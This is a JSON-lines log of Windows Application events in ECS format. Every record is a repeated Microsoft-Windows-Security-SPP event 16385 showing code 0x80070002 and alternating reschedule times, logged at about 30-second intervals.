{"@timestamp":1659034501191,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173135}}
{"@timestamp":1659034531196,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173136}}
{"@timestamp":1659034561202,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173137}}
{"@timestamp":1659034591208,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173138}}
{"@timestamp":1659034621215,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173139}}
{"@timestamp":1659034651221,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173140}}
{"@timestamp":1659034681227,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173141}}
{"@timestamp":1659034711233,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173142}}
{"@timestamp":1659034741239,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173143}}
{"@timestamp":1659034771245,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173144}}
{"@timestamp":1659034801253,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173145}}
{"@timestamp":1659034831259,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173146}}
{"@timestamp":1659034861266,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173147}}
{"@timestamp":1659034891271,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173148}}
{"@timestamp":1659034921277,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173149}}
{"@timestamp":1659034951284,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173150}}
{"@timestamp":1659034981290,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173151}}
{"@timestamp":1659035011297,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173152}}
{"@timestamp":1659035041303,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173153}}
{"@timestamp":1659035071309,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173154}}
{"@timestamp":1659035101314,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173155}}
{"@timestamp":1659035131322,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173156}}
{"@timestamp":1659035161328,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173157}}
{"@timestamp":1659035191334,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173158}}
{"@timestamp":1659035221341,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173159}}
{"@timestamp":1659035251347,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173160}}
{"@timestamp":1659035281353,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173161}}
{"@timestamp":1659035311360,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173162}}
{"@timestamp":1659035341366,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173163}}
{"@timestamp":1659035371371,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173164}}
{"@timestamp":1659035401379,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173165}}
{"@timestamp":1659035431387,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173166}}
{"@timestamp":1659035461393,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173167}}
{"@timestamp":1659035491399,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173168}}
{"@timestamp":1659035521406,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173169}}
{"@timestamp":1659035551414,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173170}}
{"@timestamp":1659035581421,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173171}}
{"@timestamp":1659035611428,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173172}}
{"@timestamp":1659035641435,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173173}}
{"@timestamp":1659035671442,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173174}}
{"@timestamp":1659035701449,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173175}}
{"@timestamp":1659035731456,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173176}}
{"@timestamp":1659035761463,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173177}}
{"@timestamp":1659035791471,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173178}}
{"@timestamp":1659035821478,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173179}}
{"@timestamp":1659035851486,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173180}}
{"@timestamp":1659035881494,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173181}}
{"@timestamp":1659035911500,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173182}}
{"@timestamp":1659035941509,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173183}}
{"@timestamp":1659035971515,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173184}}
{"@timestamp":1659036001522,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173185}}
{"@timestamp":1659036031528,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173186}}
{"@timestamp":1659036061534,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173187}}
{"@timestamp":1659036091541,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173188}}
{"@timestamp":1659036121549,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173189}}
{"@timestamp":1659036151556,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173190}}
{"@timestamp":1659036181562,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173191}}
{"@timestamp":1659036211570,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173192}}
{"@timestamp":1659036241577,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173193}}
{"@timestamp":1659036271583,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173194}}
{"@timestamp":1659036301589,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173195}}
{"@timestamp":1659036331597,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173196}}
{"@timestamp":1659036361604,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173197}}
{"@timestamp":1659036391610,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173198}}
{"@timestamp":1659036421617,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173199}}
{"@timestamp":1659036451624,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173200}}
{"@timestamp":1659036481630,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173201}}
{"@timestamp":1659036511637,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173202}}
{"@timestamp":1659036541644,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173203}}
{"@timestamp":1659036571652,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173204}}
{"@timestamp":1659036601659,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173205}}
{"@timestamp":1659036631665,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173206}}
{"@timestamp":1659036661671,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173207}}
{"@timestamp":1659036691678,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173208}}
{"@timestamp":1659036721684,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173209}}
{"@timestamp":1659036751691,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173210}}
{"@timestamp":1659036781698,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173211}}
{"@timestamp":1659036811704,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173212}}
{"@timestamp":1659036841710,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173213}}
{"@timestamp":1659036871717,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173214}}
{"@timestamp":1659036901724,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173215}}
{"@timestamp":1659036931731,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173216}}
{"@timestamp":1659036961736,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173217}}
{"@timestamp":1659036991743,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173218}}
{"@timestamp":1659037021750,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173219}}
{"@timestamp":1659037051756,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173220}}
{"@timestamp":1659037081762,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173221}}
{"@timestamp":1659037111768,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173222}}
{"@timestamp":1659037141774,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173223}}
{"@timestamp":1659037171782,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173224}}
{"@timestamp":1659037201788,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173225}}
{"@timestamp":1659037231794,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173226}}
{"@timestamp":1659037261801,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173227}}
{"@timestamp":1659037291808,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173228}}
{"@timestamp":1659037321814,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173229}}
{"@timestamp":1659037351822,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173230}}
{"@timestamp":1659037381828,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173231}}
{"@timestamp":1659037411834,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173232}}
{"@timestamp":1659037441842,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173233}}
{"@timestamp":1659037471848,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173234}}
{"@timestamp":1659037501854,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173235}}
{"@timestamp":1659037531862,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173236}}
{"@timestamp":1659037561868,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173237}}
{"@timestamp":1659037591875,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173238}}
{"@timestamp":1659037621881,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173239}}
{"@timestamp":1659037651887,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173240}}
{"@timestamp":1659037681893,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173241}}
{"@timestamp":1659037711898,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173242}}
{"@timestamp":1659037741906,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173243}}
